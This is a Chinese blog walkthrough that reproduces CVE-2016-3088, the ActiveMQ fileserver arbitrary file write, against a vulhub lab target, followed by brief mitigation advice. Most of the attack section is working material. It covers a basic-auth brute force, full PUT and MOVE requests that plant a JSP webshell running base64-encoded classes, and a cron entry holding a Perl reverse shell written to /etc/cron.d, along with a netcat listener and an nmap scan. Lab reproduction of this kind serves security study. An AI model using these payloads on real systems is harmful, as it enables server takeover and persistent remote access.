Loading

CVE-2016-3088 ActiveMQ任意文件写入

0X00-引言


潜心学技术,低调求发展。

书中自有黄金屋,书中自有颜如玉。

颜如玉就是我,我就是颜如玉。

0X01-漏洞详情


漏洞编号:CVE-2016-3088

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。ActiveMQ中的fileserver服务允许用户通过HTTP PUT方法上传文件到指定目录。Fileserver支持写入文件(不解析jsp),但是支持移动文件(Move)我们可以将jsp的文件PUT到Fileserver下,然后再通过Move指令移动到可执行目录下访问。

ActiveMQ web控制台分为三个应用,admin、api和fileserver,其中admin为管理员页面,api为接口,fileserver为存放文件的接口; admin和api需要登录才可以使用,fileserver不需要登录。

fileserver 是一个 RESTful API 接口。 我们可以通过GET、PUT、DELETE等HTTP请求来读写其中存储的文件。 设计目的是为了弥补消息队列操作无法传输和存储二进制文件的缺陷,但后来发现:

  1. 它的使用率并不高
  2. 文件操作容易出现漏洞

所以ActiveMQ在5.12.x~5.13.x中默认关闭了fileserver应用(可以在conf/jetty.xml中打开); 在 5.14.0 之后,文件服务器应用程序被完全删除。

在测试过程中,要注意ActiveMQ的版本,防止无用功。

0X02-环境介绍


靶机:CentOS Linux 7

攻击机:windows server 2016 && Kail

环境:vulhub

项目地址:https://github.com/vulhub/vulhub

0X03-环境搭建


搭建vulhub请访问:空白centos7 64 搭建vulhub(详细)

0X04-原理分析


https://paper.seebug.org/346/

0X05-漏洞复现利用


一、上传webshell

01-爆破http-basic认证爆破

访问所搭环境地址,出现http-basic认证,抓包查看

image-20211102101112543

发现base64编码,爆破

image-20211102101456701

添加标记-选择模式-添加payload-攻击

image-20211102101614571

选择模式,添加payload

image-20211102101731111

image-20211102101928335

image-20211102102007567

image-20211102102039994

Payload Encoding中可以选择是否urlencode加密特殊字符,基础认证是不需要urlencode的,所以可以取消掉这个对号

image-20211102102211814

开始攻击-等待-爆破成功-解密-获得账号密码

image-20211102102328312

image-20211102102435163

02-获取ActiveMQ绝对路径

获取密码后登陆,根据自己经验猜测配置文件(百度),输入http://192.168.234.128:8161/admin/test/systemProperties.jsp获取ActiveMQ绝对路径image-20211102104108198

03-上传webshell

随意抓包

image-20211102104345773

先得把webshell上传到fileserver,之后才能从fileserver转移。由于ActiveMQ是个java程序,因此需要传个jsp webshell,网上面找一个马,我找的为蚁剑的马。

修改之后的数据包

PUT /fileserver/ant.txt HTTP/1.1
Host: 192.168.234.128:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Cookie: JSESSIONID=1avk7758vkypdf2p0h7fiowqf
Upgrade-Insecure-Requests: 1
Content-Length: 780

<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
 
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>

发送-回显204成功

image-20211102105031372

04-移动webshell到admin所在的文件夹

move方法移动-直接在原先的数据包上面修改

MOVE /fileserver/ant.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/admin/ant.jsp
Host: 192.168.234.128:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Cookie: JSESSIONID=1avk7758vkypdf2p0h7fiowqf
Upgrade-Insecure-Requests: 1
Content-Length: 780

<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
 
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>

MOVE成功

image-20211102110126254

05-蚁剑连接webshell

如何使用蚁剑连接webshell,可以问百度

ActiveMQ admin需要登录,蚁剑连接需要添加请求信息,可以问百度

image-20211102110738968

image-20211102111332805

06-连接成功

getshell-为所欲为

image-20211102111438570

二、写入cron,反弹shell

01-cron是什么

反弹shell的方法总结

Cron是什么?利用Cron Job自动执行定时任务

cron是linux系统的守护进程,用于在特定时间自动执行重复任务

02-上传corn文件到fileserver

请求数据部分是cron文件格式的perl反弹shell,*/1 * * * *表示定时任务执行时间是每分钟一次,root表示执行定时任务的用户,后面就是perl反弹shell的内容了。

服务器上没有perl的软链接,就需要写perl的绝对路径了,比如/usr/bin/perl

反弹shell中的\(i为攻击机ip,\)p为攻击机监听的端口。

数据包如下

PUT /fileserver/hello.txt HTTP/1.1
Host: 192.168.234.128:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Cookie: JSESSIONID=1xbrc845kd2em1a08gbduy9jeu
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 241

*/1 * * * * root perl -e 'use Socket;$i="192.168.234.128";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

上传成功

image-20211102150503169

03-移动cron文件到/etc/cron.d/hello

payload主体如下

MOVE /fileserver/hello.txt HTTP/1.1
Destination: file:///etc/cron.d/hello
Host: 192.168.234.128:8161

移动成功

image-20211102151135811

04-攻击机开启监听

攻击机上用nc开监听,监听2333端口

netcat.exe -l -p 2333

反弹失败-推测服务端没有安装perl

image-20211102153927384

三、写入SSH KEY

01-条件

​ ActiveMQ拥有root权限

​ 服务器开启ssh服务

02-nmap探测
nmap -sV 192.168.234.128 -p-

环境装在容器内的,服务器开启ssh不代表容器开启

image-20211102154424190

03-ssh key参考链接

https://getshell.icu/2017/CVE-2016-3088-ActiveMQ-远程代码执行漏洞复现/

0X06-漏洞修护


01-禁止PUT方法

jetty禁用http put和delete等方法的方式:

​ 基于xml的配置方式:

<security-constraint>
<display-name>Example Security Constraint</display-name>
<web-resource-collection>
<web-resource-name>Protected Area</web-resource-name>
<url-pattern>/*</url-pattern>
<http-method>DELETE</http-method>
<http-method>HEAD</http-method>
<http-method>PUT</http-method>
</web-resource-collection>
<auth-constraint>
</auth-constraint>
</security-constraint>
02-升级到5.14.0以后的版本

5.14.0以后的版本彻底删除了fileserver应用

03-通过移除conf\jetty.xml的以下配置来使用ActiveMQ Fileserver功能
<bean class="org.eclipse.jetty.webapp.WebAppContext">
     <property name="contextPath" value="/fileserver" />
     <property name="resourceBase" value="${activemq.home}/webapps/fileserver" />
     <property name="logUrlOnStart" value="true" />
     <property name="parentLoaderPriority" value="true" />
</bean>

image-20211102165624544

0X07-知识拓展


反弹shell的方法总结

Cron是什么?利用Cron Job自动执行定时任务

0X08-引用大佬文章


https://paper.seebug.org/346/

https://getshell.icu/2017/CVE-2016-3088-ActiveMQ-远程代码执行漏洞复现/

https://www.freebuf.com/vuls/274088.html

https://mp.weixin.qq.com/s/_FoW1rcn09DhjeLeHfWVFw

https://www.hackersb.cn/hacker/183.html

https://vulhub.org/#/environments/activemq/CVE-2016-3088/

禁用put

posted @ 2021-11-29 22:09  美式加糖  阅读(767)  评论(0)    收藏  举报